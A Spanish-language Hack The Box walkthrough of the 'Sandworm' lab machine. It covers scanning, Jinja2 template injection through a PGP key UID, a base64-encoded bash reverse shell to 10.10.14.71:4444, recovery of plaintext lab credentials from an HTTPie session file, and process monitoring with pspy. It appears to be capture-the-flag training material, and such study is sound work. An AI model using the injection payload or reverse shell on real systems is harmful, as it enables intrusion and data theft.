Sandworm

nmap

```
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.218 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 11:48 CEST
Initiating SYN Stealth Scan at 11:48
Scanning 10.10.11.218 [65535 ports]
Discovered open port 22/tcp on 10.10.11.218
Discovered open port 443/tcp on 10.10.11.218
Discovered open port 80/tcp on 10.10.11.218
Completed SYN Stealth Scan at 11:48, 23.11s elapsed (65535 total ports)
Nmap scan report for 10.10.11.218
Host is up, received user-set (0.64s latency).
Scanned at 2023-06-29 11:48:02 CEST for 24s
Not shown: 55929 closed tcp ports (reset), 9603 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 23.27 seconds
           Raw packets sent: 108230 (4.762MB) | Rcvd: 70426 (2.817MB)
```

```
nmap -p22,80,443 -sCV 10.10.11.218 -oN targeted

Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-29 11:49 CEST
Nmap scan report for 10.10.11.218
Host is up (0.084s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 b7896c0b20ed49b2c1867c2992741c1f (ECDSA)
|_  256 18cd9d08a621a8b8b6f79f8d405154fb (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://ssa.htb/
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/stateOrProvinceName=Classified/countryName=SA
| Not valid before: 2023-05-04T18:03:25
|_Not valid after:  2050-09-19T18:03:25
|_http-title: Secret Spy Agency | Secret Security Service
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.35 seconds
```

Añadimos el /etc/hosts el nombre de dominio **ssa.htb**.

/etc/hosts

```
vim /etc/hosts
10.10.11.218     ssa.htb
```

#vamos a http://ssa.htb

En la página de contacto podemos ver que nos se trata de un formulario corriente. Debemos enviar un PGP encriptado. Esto nos da a pensar que quizás podamos realizar alguna ejecución de comandos a través de alguna vulnerabilidad.

#https://ssa.htb/contact

Abajo del recuadro podemos encontrar un enlace que nos dirige a una guía para poder enviar un mensaje. Como leemos abajo del título podemos practicar con su propia clave pública.
#Vamos a: https://ssa.htb/guide

PGP Encryption Demonstration

Practice by importing our public [key](https://ssa.htb/pgp) and encrypting, signing, and verifying messages.

#Vamos a https://ssa.htb/pgp y nos encontramos con la clave pública.

```
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQINBGRTz6YBEADA4xA4OQsDznyYLTi36TM769G/
APBzGiTN3m140P9pOcA2VpgX
+9puOX6+nDQvyVrvfifdCB90F0zHTCPvkRNvvxf-
AXjpkZnAxXu5c0xq3Wj8nW3hW
DKvlCGuRbWkHDMwCGNT4eBduSmTc3ATwQ6Hq-
JduHTOXpcZSJ0+1DkJ3Owd5sNV+Q
obLEL0VAafHI8pCWaEZCK+iQ1IllEjykabMtgoMQI4
Omf1UzFS+WrT9/bnrlAGLz
9UYnMd5UigMcbfDG+9gGMSCocORCfIXOwjazmk-
rHCInZNA86D4Q/8bof+bqmPPk7
y+nceZi8FOhC1c7IxwLvWE0YFXuyXtXsX9RpcXsE-
r6Xom5LcZLAC/5qL/E/1hJq6
MjYyz3WvEp2U+OYN7LYxq5C9f4l9OIO2okmFYrk4
Sj2VqED5TfSvtiVOMQRF5Pfa
jbb57K6bRhCl95uOu5LdZQNMptbZKrFHFN4E1ZrY-
NtFNWG6WF1oHHkeOrZQJssw7
I6NaMOrSkWkGmwKpW0bct71USgSjR34E6f3Wyz-
wJLwQymxbs0o1lnprgjWRkoa7b
JHcxHQl7M7DlNzo2Db8WrMxk4HIlcRvz7Wa7bcow-
H8Sj6EjxcUNtlJ5A6PLloqN2
kQxM2qXBTr07amoD2tG1SK4+1V7h6maOJ1OEH-
mJsaDDgh9E+lSyDjmNUQQARAQAB
tEBTU0EgKE9mZmljaWFsIFBHUCBLZXkgb2YgdGh-
lIFNlY3JldCBTcHkgQWdlbmN5
LikgPGF0bGFzQHNzYS5odGI+iQJQBBMBCAA6FiEE1
rqUIwIaCDnMxvPIxh1CkRC2
JdQFAmRTz6YCGwMFCwkIBwICIgIGFQoJCAsCAxY-
CAQIeBwIXgAAKCRDGHUKRELYl
1KYfD/
0UAJ84quaWpHKONTKvfDeCWyj5Ngu2MOAQwk9
98q/wkJuwfyv3SPkNpGer
nWfXv7LIh3nuZXHZPxD3xz49Of/
oIMImNVqHhSv5GRJgx1r4eL0QI2JeMDpy3xpL
Bs20oVM0njuJFEK01q9nVJUIsH6MzFtwbES4DwSfM
/M2njwrwxdJOFYq12nOkyT4
Rs2KuONKHvNtU8U3a4fwayLBYWHpqECSc/
A+Rjn/dcmDCDq4huY4ZowCLzpgypbX
gDrdLFDvmqtbOwHI73UF4qDH5zHPKFlwAgMI02
mHKoS3nDgaf935pcO4xGj1zh7O
pDKoDhZw75flwHJezGL5qfhMQQwBYMciJdBwV8Q-
miqQPD3Z9OGP+d9BIX/wM1WRA
cqeOjC6Qgs24FNDpD1NSi+AAorrE60GH/
51aHpiY1nGX1OKG/RhvQMG2pVnZzYfY
eeBlTDsKCSVlG4YCjeG/
2SK2NqmTAxzvyslEw1QvvqN06ZgKUZve33BK9slj
+vTj
vONPMNp3e9UAdiZoTQvY6IaQ/
MkgzSB48+2o2yLoSzcjAVyYVhsVruS/BRdSrzwf
5P/fkSnmStxoXB2Ti/UrTOdktWvGHixgfkgjmu/
GZ1rW2c7wXcYlI5ghWfDkdAYQ
lI2DHmulSs7Cv+wpGXkIUPabxoEi4kw9qa8Ku/f/
UEIfR2Yb0bkCDQRkU8+mARAA
un0kbnU27HmcLNoESRyzDS5NfpE4z9pJo4YA29V-
HVpmtM6PypqsSGMtcVBlI9+I3
```

```
wDa7vIcQFjBr1Sn1b1UlsfHGpOKesZmrCePmeXd-
RUajexAkl76A7ErVasrUC4eLW
9rlUo9L+9RxuaeuPK7PY5RqvXVLzRducrYN1qhqo-
UXJHoBTTSKZYic0CLYSXyC3h
HkJDfvPAPVka4EFgJtrnnVNSgUN469JEE6d6ibtlJChj-
gVh7I5/IEYW97Fzaxi7t
l/
NiU9ILEHopZzBKgJ7uWOHQqaeKiJNtiWozwpl3DVy-
x9f4L5FrJ/J8UsefjWdZs
aGfUG1uIa+ENjGJdxMHeTJiWJHqQh5tGlBjF3TwVtu-
TwLYuM53bcd+0HNSYB2V/m
N+2UUWn19o0NGbFWnAQP2ag+u946OHyEaKS-
yhiO/+FTCwCQoc21zLmpkZP/+I4xi
GqUFpZ41rPDX3VbtvCdyTogkIsLIhwE68lG6Y58Z2
Vz/aXiKKZsOB66XFAUGrZuC
E35T6FTSPflDKTH33ENLAQcEqFcX8wl4SxfCP8qQ-
rff+l/Yjs30o66uoe8N0mcfJ
CSESEGF02V24S03GY/
cgS9Mf9LisvtXs7fi0EpzH4vdg5S8EGPuQhJD7LKvJK-
xkq
67C7zbcGjYBYacWHl7HA5OsLYMKxr+dniXcHp2DtI2
kAEQEAAYkCNgQYAQgAIBYh
BNa6lCMCGgg5zMbzyMYdQpEQtiXUBQJkU8+mAh-
sMAAoJEMYdQpEQtiXUnpgP/3AL
guRsEWpxAvAnJcWCmbqrW/
YI5xEd25N+1qKOspFaOSrL4peNPWpF8O/
EDT7xgV44
m+7l/
eZ29sre6jYyRlXLwU1O9YCRK5dj929PutcN4Grvp4
f9jYX9cwz37+ROGEW7
rcQqiCre+I2qi8QMmEVUnbDvEL7W3lF9m+xNnNf-
yOOoMAU79bc4UorHU+dDFrbDa
GFoox7nxyDQ6X6jZoXFHqhE2fjxGWvVFgfz+Hvd-
oi6TWL/kqZVr6M3VlZoExwEm4
TWwDMOiT3YvLo+gggeP52k8dnoJWzYFA4pigwOl-
agAElMrh+/MjF02XbevAH/Dv/
iTMKYf4gocCtlK4PdDpbEJB/
B6T8soOooHNkh1N4UyKaX3JT0gxib6iSWRmjjH0q
TzD5J1PDeLHuTQOOgY8gzKFuRwyHOPuvfJooww-
P4q6aB2H+pDGD2ewCHBGj2waKK
Pw5uOLyFzzI6kHNLdKDk7CEvv7qZVn+6CSjd7lA-
AHI2CcZnjH/r/rLhR/zYU2Mrv
yCFnau7h8J/
ohN0ICqTbe89rk+Bn0YlZkJhbxZBrTLBVvqcU2/
nkS8Rswy2rqdKo
a3xUUFA+oyvEC0DT7lRMJrXWRRmnAw261/
lBGzDFXP8E79ok1utrRplSe7VOBl7U
FxEcPBaB0bhe5Fh7fQ811EMG1Q6Rq/
mr8o8bUfHh
=P8U3
-----END PGP PUBLIC KEY BLOCK-----
```

#Encodeamos una palabra con pgp, en est página web: https://8gwifi.org/pgpencdec.jsp

Al enviar el PGP encriptado el servidor nos da la siguiente respuesta conforme se ha enviado correctamente.
#En: https://ssa.htb/contact importamos la clave con el mensaje (encodeado con la clave).

Thank you for your submission.

Si seguimos investigando en la guía, descubriremos el apartado de verificación de firmas, dejando que creemos nuestras propias claves, algo muy interesante.
Creamos nuestra clave y la exportamos al archivo *pubkey.asc*.

gpg

```
gpg --quick-gen-key "Alle"
About to create a key for:
    "Alle"

Continue? (Y/n) Y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: directory '/root/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D.rev'
public and secret key created and signed.

pub   rsa3072 2023-06-29 [SC] [expires: 2025-06-28]
      0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D
uid                      Alle
sub   rsa3072 2023-06-29 [E]
```

Copiamos el *pubkey.asc* en el campo *Public Key* y el mensaje *test* encriptado en GPG en el campo *Signed Text*.

```
echo 'test' | gpg --clear-sign
```

```
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

test
-----BEGIN PGP SIGNATURE-----

iQGzBAEBCgAdFiEEDMXY4tRPcfmyBm+rfuZwXnJ1
e20FAmSdV+sACgkQfuZwXnJ1
e20ZHQv/
dVXkmEdjLJQkOPFz+YWxSvvIRV7kNUoP8y1ygKQ-
i1tPYQ7NlDIY/Ahea
brq1sA1l9sjyA3ioO1f/
iysXbPis3B0cWjg+4gOer+J2rjqaPHsMfbYhjU5OUX-
Rq
Br8N0rytM8b92awQLRA+IJ+JuWiROLnD2WgxxpH/
8ZEVspPms+CYzsyVlcmzKRhg
+3jZOjrLpxeh94q47dZb1mIyxveTNhFMA3RxKLLn-
NkBz9MMsoGJJLybxAWgKFagB
Oht+pK1AJ+UhUtTi8bXnMgBWK3unH7E7ADTd8P-
MCwr2RWWjWUW7BWAPoVwii4dE0
O91OeV/
JyXjmVkjTMuHWtBtUZS2V4RlhbeyHqQDQIOUh5U8
GvYqbdJpL2IweJB6V
JURm4w9e8aGGcUDDYuP4Qje3aLj3ZMr/nD6/
J6o0Tf1ywSBYHyN5RwIZ7bUME2mA
5+4WkD2lo3fNZ7V6MP+GIeEyMoB4QfDaCx2Tc-
m0eJfrkMjev5MPCokM16Y1cd0ae
ywIh+HIn
=P5B/
-----END PGP SIGNATURE-----
```

En la respuesta se nos muestra nuestro UID que generamos dándonos a entender que quizá se acontezca un SSTI.

Editamos el UID con una cadena para comprobar si es vulnerable a SSTI.

```
gpg --edit-key Alle
gpg (GnuPG) 2.2.40; Copyright (C) 2022 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Secret key is available.

gpg: checking the trustdb
gpg: marginals needed: 3  completes needed: 1  trust model: pgp
gpg: depth: 0  valid:   1  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 1u
```

```
gpg: next trustdb check due at 2025-06-28
sec  rsa3072/7EE6705E72757B6D
     created: 2023-06-29  expires: 2025-06-28  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072/53E506A92EA92D6B
     created: 2023-06-29  expires: never       usage: E
[ultimate] (1). Alle

gpg> adduid
Real name: {{7*7}}
Email address: alle@alle.com
Comment:
You selected this USER-ID:
    "{{7*7}} <alle@alle.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O

sec  rsa3072/7EE6705E72757B6D
     created: 2023-06-29  expires: 2025-06-28  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072/53E506A92EA92D6B
     created: 2023-06-29  expires: never       usage: E
[ultimate] (1)  Alle
[ unknown] (2). {{7*7}} <alle@alle.com>
```

Debemos realizar todavía algunos pasos más para poder modificar correctamente el UID, lo que haremos es una vez añadido el nuevo UID, debemos darle confianza, borrar el UID 1 y guardar los cambios.

```
gpg> trust

Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)

  1 = I don't know or won't say
  2 = I do NOT trust
  3 = I trust marginally
  4 = I trust fully
  5 = I trust ultimately
  m = back to the main menu

Your decision? 5
Do you really want to set this key to ultimate trust? (y/N) y

sec  rsa3072/7EE6705E72757B6D
     created: 2023-06-29  expires: 2025-06-28  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072/53E506A92EA92D6B
     created: 2023-06-29  expires: never       usage: E
[ultimate] (1)  Alle
[ unknown] (2). {{7*7}} <alle@alle.com>

gpg> uid 1

sec  rsa3072/7EE6705E72757B6D
     created: 2023-06-29  expires: 2025-06-28  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072/53E506A92EA92D6B
     created: 2023-06-29  expires: never       usage: E
[ultimate] (1)* Alle
[ unknown] (2). {{7*7}} <alle@alle.com>

gpg> deluid
Really remove this user ID? (y/N) y

sec  rsa3072/7EE6705E72757B6D
     created: 2023-06-29  expires: 2025-06-28  usage: SC
     trust: ultimate      validity: ultimate
ssb  rsa3072/53E506A92EA92D6B
     created: 2023-06-29  expires: never       usage: E
[ unknown] (1). {{7*7}} <alle@alle.com>

gpg> save
```

```
Invalid command  (try "help")

gpg> save
```

#Vamos a https://ssa.htb/guide/encrypt, comprobaremos que funcionan las calves, añadiendo en el campo Public Key y el mensaje test encriptado en GPG en el campo Signed Text.

Volvemos a generar la clave PGP pública con el nuevo UID y realizamos el posible SSTI.
En efectivo nos realiza la multiplicación dada en el UID sabiendo al 100% que es vulnerable.

Signature Verification Result

```
                  Signature is valid!  [GNUPG:] NEWSIG gpg: Signature made Thu 29 Jun 2023 10:24:20 AM UTC gpg:                using RSA
key  0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D [GNUPG:] KEY_CONSIDERED 0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D 0
[GNUPG:] SIG_ID 5/o7NmnI6F4qPYaedgWDDLqUw7o 2023-06-29 1688034260 [GNUPG:] KEY_CONSIDERED
0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D 0 [GNUPG:] GOODSIG 7EE6705E72757B6D Alle gpg: Good signature from
"49" [unknown] [GNUPG:] VALIDSIG 0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D 2023-06-29  1688034260 0 4 0 1 10 01
0CC5D8E2D44F71F9B2066FAB7EE6705E72757B6D [GNUPG:] TRUST_UNDEFINED 0 pgp gpg: WARNING: This key is not certified with a
trusted signature! gpg:          There is no indication that the signature belongs to the  owner. Primary key fingerprint: 0CC5 D8E2 D44F
71F9 B206  6FAB 7EE6 705E 7275  7B6D
```

#Como podemos observar, podemos realizar un SSTI ya que, el servidor interptreta el valor UID y opera con el, poniendo en la clave gpg como UID {{7*7}}, el servidor nos devuelve “49”.

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Intrusión

El payload que utilizamos para la reverse shell será el siguiente:

```
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "echo BASE64-REV | base64 -d | bash" ').read() }}
```

#Repetimos el proceso con el payload.

1ºEncodeamos el revershell en base 64

```
bash -i >& /dev/tcp/10.10.14.71/4444 0>&1
```

2ºAñadimos el shell (base64) al payload.

```
cat payload
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo
"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43MS80NDQ0IDA+JjEK" | base64 -d | bash').read() }}
```

3.Generamos la clave GPG, siendo el UID el payload.

```
gpg --quick-gen-key "exploit"
About to create a key for:
    "exploit"

Continue? (Y/n) Y
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: revocation certificate stored as '/root/.gnupg/openpgp-revocs.d/7F68363A8EA6D125B88393E3F9DEBE1F7835513C.rev'
public and secret key created and signed.

pub   rsa3072 2023-06-29 [SC] [expires: 2025-06-28]
      7F68363A8EA6D125B88393E3F9DEBE1F7835513C
uid                      exploit
sub   rsa3072 2023-06-29 [E]

gpg> adduid
Real name: <payload>
Email address: alle@alle.com
Comment:
```

```
Do you really want to set this key to ultimate trust? (y/N) y

sec  rsa3072/BC01F36669FAF186
     created: 2023-06-30  expires: 2025-06-29  usage: SC
     trust: ultimate       validity: ultimate
ssb  rsa3072/29EA439B889F9D14
     created: 2023-06-30  expires: never        usage: E
[ unknown] (1). {{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo
"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43MS80NDQ0IDA+JjEK" | base64 -d | bash').read() }} <exploit@e.com>

gpg> save
```

```
gpg --armor --export "exploit" | sponge pubkey2.asc
```

```
cat pubkey2.asc
```

```
-----BEGIN PGP PUBLIC KEY BLOCK-----

mQGNBGSeq7gBDAC3budYHfzmxGVv3iVQoM0SBmouA59ciz1u74zgqfAmQouTYGAf
4g4ZzDWJHFS7NQGfjzT937MgN58pvJ70u/YSqRpb4misNAdFnFo1niq1WH5EM1az
```

```
uBDnLYotzFnoMKs6mXhx0zGEcJC8g4Sz18FdySi8BIyMRqw4gX6fUTBXFkR1DPRM
cCZGhl5Yu4fuBO3e0UxtZgGofvwKBunXDE4lc1mjUPNZoKG/eENu6xKE3fdIK1ex
Eaakcr28l0ZWkSjUHJrTD3YL/xkLM3C58xeW0MRc3KzYbl8C3mkjFGkwdMb/mtDK
pMDtvQBee4UP8gLa99F4TBgsh7x78e49h9vdLNdMPzEnNatdSWHM5VGIof8CqQq+
+GVEYlk9EGhbpaZjnhdmuqP+11bqq9Nf6R90d53K4f4UB+PpSHWbVxIKqMjRfbOQ
b6yH3VkAj3518FwcOUZblv9eiks8+b39AkdaHGVb4J47vRgGOSFRWcvsvyozYYvI
GgTjXD8PCP6c5McAEQEAAbSwe3sgc2VsZi5fX2luaXRfXy5fX2dsb2JhbHNfXy5f
X2J1aWx0aW5zX18uX19pbXBvcnRfXygnb3MnKS5wb3BlbignZWNobyAiWW1GemFD
QXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0M01TODBORFEwSURBK0pq
RUsilHwgYmFzZTY0IC1kIHwgYmFzaCcpLnJlYWQoKSB9fSA8ZXhwbG9pdEBlLmNv
bT6JAdQEEwEKAD4WIQRurNHM3NGvwoJ2oQy8AfNmafrxhgUCZJ6yWwIbAwUJA8Jn
AAULCQgHAgYVCgkICwIEFgIDAQIeAQIXgAAKCRC8AfNmafrxhht/DACSP6HUsyaj
M6UP9H48Y9cNMHuIjz1TPmoyBWFVxa8/6ucMXMLyIPDTaXfTCaRh6mGuLFwuQ/Lr
gNYJ4aG0+zpXR8cUDhRsixw1KB6LESSkLqyoVVGA989D5CyCidS2OMCkJRFbevNK
Jcmjg7VKzhTORC4CeCjw71JJlWO6uZek9pbpGZ176ADE8TYtCZMBqIJE9kPFWqxW
T+dHSqzl1h6SEvfpwkhTU8G/E8grJXoCjh+SdyMByXqBGWWr88r89wWErA0XOI9x
jURaF4NCNdSj1+O+mWKU2ClWvS6m0LhEAUGXwmFQwfsyXriyotMYsTZcQGUaZtHq
uteDi8RqQx9KP0SnSOymtbAlwAHW7xMcubYtizZ9BgKVcFBjuTCZSvsKWcel6QLI
SvnATI55m3BAXYyyiR96RWyNqs05OGl1M5K8pngHDmCBqlv5xtUMsEpAK/wbXwy4
HrhbLwFwqzZQTNrrqTeywnDa2H0oUKt5MFjFoBO1cRhnNuTdpg7Ad825AY0EZJ6r
uAEMAM1rXZ8e+ZlRda51ulFHiYDUftA6Ldljq/dUfmdK/Jhvf+l84PjTS9kpIMbv
WaTkFEQBrWr0i78kAsotnTybrlkl8MhzdjrDWfA8ymbXnsA/i9JXzHc/vHwEaOJy
j+y9H3rH4P5YL8nmxWYju6OoFwyRNos3nejreSeG+ftgozVUyKtHYVCswsnu2EC+
EfeM2Un3BxJAFPB6SZ4r9jLAVo655vKwt3vPKrivFpqXewhrO5kUnY05KXHgUCyA
710pU8o+T7zUHUPDdsJCeiuNb3c1LvHDKgm4dCNrumUhN6iK1ANXl0096zCeLJnQ
Kbp906bUUkSWZAWim4cCZclmzFxFDteRvl7xjMXKazRl+uxeL8ieCA8YcxU5zpSE
dQrwApFqk1yMoD8eyReAgEakmY68P73zv0lGXjtOcWUkaVXBtmL4EUNnh8zQj3Ua
lp/Mw0qjdPXrCTtz9635u6ZZ1gPBOvVOIrrMu96ELpvFkIeGkhBUabjPfrUWscAf
qfnZEwARAQABiQG2BBgBCgAgFiEEbqzRzNzRr8KCdqEMvAHzZmn68YYFAmSeq7gC
GwwACgkQvAHzZmn68YbLlAv/dIMVqtYOxJiFCbgfbZd4Tn/uMFvEQatAQ1EI7DX2
naVqpF76ostEB3VThFHVre9HCbm7qgh9tFDn9pRdVJSAO5IXGNzGdlp62iCz22wT
wuuIAFfDB0l9Vd8nQ/nKhuAGvGiGXoEP5Wxgbyyp+xBqF0qIu0FCBaeSzQLQScYO
v+4ExeUT9lMLGm98RZQeINOMZ5KjNHWbwxe5yR1jSsqYqPWS+VNfEE5JQPwc+dS9
Ug76fcUyHVJsCNnPfjbsTfcl4TlLwiv3unqWJIQfPPgflf6ZR/+P1O6owNGCSGDG
xVhX8LAALCDWX+AW5rh20twV6JLWR/3opnQt4z1bF+XZPF5S9PuDzae24+n981yv
iEb8ObPQZiK1KHDf4AljFOueut95Skb+ytoX3Ax1APOjBDnV0ssWsRhcADjaMe/a
Wh6lB1UYVKaaEFCRCfD8foYYZVmElthtikqxXT8E0mTmRsywn/HcRX98cuNFsN3V
RQfslLJuuK+5vhr300YIehgS
=QrjH
-----END PGP PUBLIC KEY BLOCK-----
```

```
#Luego añadimos en el servidor, la clave pública y el mensaje ecryptado que puede ser test como el anterior ejemplo.

#Importante habilitar el listener.
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.71] from (UNKNOWN) [10.10.11.218] 53260
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
/usr/local/sbin/lesspipe: 1: dirname: not found
atlas@sandworm:/var/www/html/SSA$ dir
dir
Could not find command-not-found database. Run 'sudo apt update' to populate it.
dir: command not found
atlas@sandworm:/var/www/html/SSA$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
```

```
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
fwupd-refresh:x:113:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
mysql:x:114:120:MySQL Server,,,:/nonexistent:/bin/false
silentobserver:x:1001:1001::/home/silentobserver:/bin/bash
atlas:x:1000:1000::/home/atlas:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
atlas@sandworm:/var/www/html/SSA$

id
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
```

Hay algunos comandos básicos que no están presentes en la máquina, en este punto pienso que quizás se trata de algún tipo de *sandbox*.

```
atlas@sandworm:~$ uname -a
uname -a
Could not find command-not-found database. Run 'sudo apt update' to populate it.
uname: command not found
atlas@sandworm:~$ hostname -I
hostname -I
Could not find command-not-found database. Run 'sudo apt update' to populate it.
hostname: command not found
```

atlas--silentobserver

En el directorio .config del usuario encontramos la carpeta de *firejail* pero no disponemos de permisos para poder acceder.

```
atlas@sandworm:~$ ls -l .config/
ls -l .config/
total 4
dr-------- 2 nobody nogroup   40 Jun 30 04:54 firejail
drwxrwxr-x 3 nobody atlas   4096 Jan 15 07:48 httpie
```

Encontramos un archivo en la carpeta *httpie* con un archivo *admin.json* que contiene credenciales.

```
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ ls
ls
admin.json
atlas@sandworm:~/.config/httpie/sessions/localhost_5000$ cat admin.json
cat admin.json
{
    "__meta__": {
        "about": "HTTPie session file",
        "help": "https://httpie.io/docs#sessions",
        "httpie": "2.6.0"
    },
    "auth": {
        "password": "quietLiketheWind22",
        "type": null,
        "username": "silentobserver"
    },
    "cookies": {
        "session": {
            "expires": null,
            "path": "/",
            "secure": false,
            "value": "eyJfZmxhc2hlcyI6W3siIHQiOlsibWVzc2FnZSIsIkludmFsaWQgY3JlZGVudGlhbHMuIl19XX0.Y-
I86w.JbELpZIwyATpR58qg1MGJsd6FkA"
        }
    },
    "headers": {
        "Accept": "application/json, */*;q=0.5"
    }
}
```

```
#Got creed´s:
user → silentobserver
passwd → quietLiketheWind22

ssh silentobserver@10.10.11.218
cat user.txt
3af0ebc5670d128d29c34e1c1205582e
```

silentobserver--atlas

Nos descargamos el *pspy* para ver las tareas que se ejecutan.

```
silentobserver@sandworm:~$ dir
user.txt
silentobserver@sandworm:~$ wget 10.10.14.71/pspy64
--2023-06-30 11:21:23--  http://10.10.14.71/pspy32
Connecting to 10.10.14.71:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2940928 (2.8M) [application/octet-stream]
Saving to: ‘pspy32’

pspy32                          100%
[==================================================================>]   2.80M  1.61MB/s    in
1.7s

2023-06-30 11:21:25 (1.61 MB/s) - ‘pspy64’ saved [2940928/2940928]

silentobserver@sandworm:~$ dir
pspy32  user.txt
silentobserver@sandworm:~$ chmod +x pspy32
```

El usuario **root** está ejecutando un script creado en Rust y ejecutado como el usuario **Atlas**.

```
./pspy64 > out

2023/06/30 11:32:01 CMD: UID=0     PID=1848   | /bin/sh -c cd /opt/tipnet && /bin/echo "e" | /bin/sudo -u atlas /usr/bin/cargo run --
offline

cd /opt/tipnet/target/debug
```

Si ejecutamos la herramienta estos sería el menú que se despliega.

```
silentobserver@sandworm:/opt/tipnet/target/debug$ ./tipnet


             ,,
MMP""MM""YMM db           `7MN.    `7MF'          mm
P'   MM   `7                MMN.    M            MM
     MM    `7MM `7MMpdMAo. M YMb   M  .gP"Ya mmMMmm
     MM      MM   MM   `Wb M  `MN. M ,M'   Yb  MM
     MM      MM   MM    M8 M   `MM.M 8M""""""  MM
